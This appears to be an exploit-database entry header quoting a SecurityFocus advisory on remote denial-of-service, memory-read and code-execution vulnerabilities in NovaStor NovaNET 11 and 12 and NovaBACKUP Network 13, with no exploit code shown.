NovaSTOR NovaNET 11.0 - Remote Denial of Service / Arbitrary Memory Read

// source: https://www.securityfocus.com/bid/39693/info

NovaStor NovaNET is prone to code-execution, denial-of-service, and information-disclosure vulnerabilities.

An attacker can exploit these issues to execute arbitrary code, access sensitive information, or crash the affected application, denying service to legitimate users. Successful attacks may result in the complete compromise of an affected computer.

NovaNET 11 and 12 are vulnerable to all of these issue; NovaBACKUP Network 13 is affected by a denial-of-service vulnerability.
